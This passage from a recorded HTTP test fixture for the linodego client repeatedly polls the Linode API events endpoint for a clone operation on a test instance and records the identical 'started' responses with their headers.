Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.676167, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.741134, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.80468, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.86875, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 17.932571, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.093907, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.151019, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.211547, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.275624, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.341629, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.410065, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.476898, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.538226, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.599005, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.867129, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 18.932533, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 19.010818, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - 